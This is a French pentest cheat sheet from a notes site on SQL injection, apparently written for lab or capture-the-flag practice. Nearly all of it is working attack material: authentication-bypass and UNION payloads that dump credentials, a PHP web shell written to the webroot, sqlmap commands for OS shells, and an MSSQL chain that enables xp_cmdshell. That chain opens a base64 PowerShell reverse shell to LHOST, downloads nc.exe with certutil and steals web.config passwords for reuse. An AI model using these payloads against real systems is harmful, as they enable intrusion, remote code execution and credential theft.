Whackermelon
notes / attaques-applications-web / injection-sql

Injection SQL

sommaire

Détection

'    "    `        -> provoquer une erreur
' OR '1'='1
1' AND '1'='1     (vrai)   vs   1' AND '1'='2     (faux)
1 AND SLEEP(5)    -> reponse retardee = injection aveugle temporelle

Contournement d’authentification

admin' -- -
admin' #
' OR 1=1 -- -
' OR 1=1 LIMIT 1 -- -
") OR ("1"="1

UNION-based

' ORDER BY 1 -- -      # incrementer jusqu'a l'erreur = nb de colonnes
' UNION SELECT NULL,NULL,NULL -- -
' UNION SELECT 1,2,3 -- -       # reperer les colonnes affichees
' UNION SELECT NULL,@@version,NULL -- -

Énumération du schéma (information_schema)

' UNION SELECT NULL,table_name,NULL FROM information_schema.tables -- -
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users' -- -
' UNION SELECT NULL,concat(user,':',password),NULL FROM users -- -

Injection aveugle (boolean / time-based)

# MySQL
' AND (SELECT SUBSTRING(version(),1,1))='8' -- -
' AND IF(1=1,SLEEP(5),0) -- -
# PostgreSQL : ' AND 1=(SELECT 1 FROM pg_sleep(5)) -- -
# MSSQL     : '; WAITFOR DELAY '0:0:5' -- -

Lecture/écriture de fichiers & RCE

# MySQL : ' UNION SELECT LOAD_FILE('/etc/passwd') -- -
#         ' UNION SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php' -- -
# MSSQL : '; EXEC xp_cmdshell 'whoami' -- -

sqlmap (automatisation)

sqlmap -u 'http://10.10.10.10/page?id=1' --batch --dbs
sqlmap -r requete.txt --batch --level 5 --risk 3        # requete capturee (Burp)
sqlmap -u '...' -D base -T users --dump
sqlmap -u '...' --os-shell        # RCE si possible
sqlmap -u '...' --file-read=/etc/passwd

MSSQL : stacked queries -> xp_cmdshell -> RCE (login ASP.NET)

Cas concret : page de login ASP.NET : champ ‘username’ concatene sans echappement. Backend MSSQL, requetes empilees (;) OK. Injection AVEUGLE (la page repond toujours ‘Invalid’) -> on confirme par le TEMPS de reponse, et on recupere la sortie hors-bande (reverse shell).

1. Detection & privileges (time-based)

# champ injectable = username. Reponse +5s = injectable (MSSQL)
x'; WAITFOR DELAY '0:0:5'-- -
x' WAITFOR DELAY '0:0:5'-- -                 # variante inline (sans ;)
x'; IF IS_SRVROLEMEMBER('sysadmin')=1 WAITFOR DELAY '0:0:5'-- -   # sysadmin ?

2. Activer & utiliser xp_cmdshell (RCE, si sysadmin)

x'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
x'; EXEC master..xp_cmdshell '<CMD>';-- -                 # blind : aucune sortie affichee
x'; EXEC master..xp_cmdshell 'ping -n 6 127.0.0.1';-- -   # canary : delai = exec OK

3. Reverse shell PowerShell (fileless, base64)

# 1) Kali : generer le base64 (UTF-16LE) -- remplacer LHOST/LPORT
PS='$c=New-Object System.Net.Sockets.TCPClient("LHOST",LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r+"PS "+(pwd).Path+"> ");$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'
B64=$(printf '%s' "$PS" | iconv -f UTF-8 -t UTF-16LE | base64 -w0)
# 2) Kali : listener
rlwrap nc -lvnp LPORT
# 3) Injection : declencher (la reponse HTTP va geler = normal = succes)
x'; EXEC master..xp_cmdshell 'powershell -nop -w hidden -e <B64>';-- -

4. Upload de fichier (webroot non inscriptible -> C:\Windows\Temp)

# Kali : python3 -m http.server 80   (dossier contenant nc64.exe)
x'; EXEC master..xp_cmdshell 'certutil -urlcache -f http://LHOST/nc64.exe C:\Windows\Temp\nc.exe';-- -
x'; EXEC master..xp_cmdshell 'C:\Windows\Temp\nc.exe LHOST LPORT -e powershell';-- -

5. Envoyer via Burp (ASP.NET WebForms)

# ViewState : __VIEWSTATE / __EVENTVALIDATION frais requis a CHAQUE POST
#   -> Intercept ON, se logger depuis le navigateur (jetons frais),
#      modifier SEULEMENT la valeur de ...UsernameTextBox, puis Forward.
# Encodage du corps (x-www-form-urlencoded) : n'encoder que la VALEUR
#   '  %27     ;  %3B     espace  +     &  %26     \  %5C     :  %3A
#   base64 :   +  %2B      /  %2F      =  %3D    (sinon payload casse !)
#   Repeater : selectionner le payload -> Ctrl+U
# NB : "Invalid creds" = NORMAL (blind). Reponse Burp qui gele apres un
#      reverse shell = SUCCES (xp_cmdshell attend la fin de powershell).

6. Automatisation : helper bash (gere le ViewState)

# usage : ./sqli.sh 'commande cmd.exe'
T=10.10.10.10; CMD="$1"; cj=$(mktemp)
p=$(curl -s -c "$cj" "http://$T/login.aspx")
vs=$(printf '%s' "$p"|grep -oE 'id="__VIEWSTATE" value="[^"]*"'|sed -E 's/.*value="([^"]*)".*/\1/')
vg=$(printf '%s' "$p"|grep -oE 'id="__VIEWSTATEGENERATOR" value="[^"]*"'|sed -E 's/.*value="([^"]*)".*/\1/')
ev=$(printf '%s' "$p"|grep -oE 'id="__EVENTVALIDATION" value="[^"]*"'|sed -E 's/.*value="([^"]*)".*/\1/')
curl -s -o /dev/null -b "$cj" "http://$T/login.aspx" \
  --data-urlencode "__VIEWSTATE=$vs" --data-urlencode "__VIEWSTATEGENERATOR=$vg" \
  --data-urlencode "__EVENTVALIDATION=$ev" \
  --data-urlencode "ctl00\$ContentPlaceHolder1\$UsernameTextBox=x'; EXEC master..xp_cmdshell '$CMD';-- -" \
  --data-urlencode "ctl00\$ContentPlaceHolder1\$PasswordTextBox=x" \
  --data-urlencode "ctl00\$ContentPlaceHolder1\$LoginButton=Login"

7. Post-exploit : recuperer des identifiants

type C:\inetpub\wwwroot\web.config          # connection string : uid=sa;password=...
# rejouer le mot de passe (reutilisation frequente) :
nxc smb   <ip> -u <user> -p '<pass>' --local-auth
nxc winrm <ip> -u <user> -p '<pass>'
# web.config non lisible ? chercher : dir /b /s C:\inetpub\*.config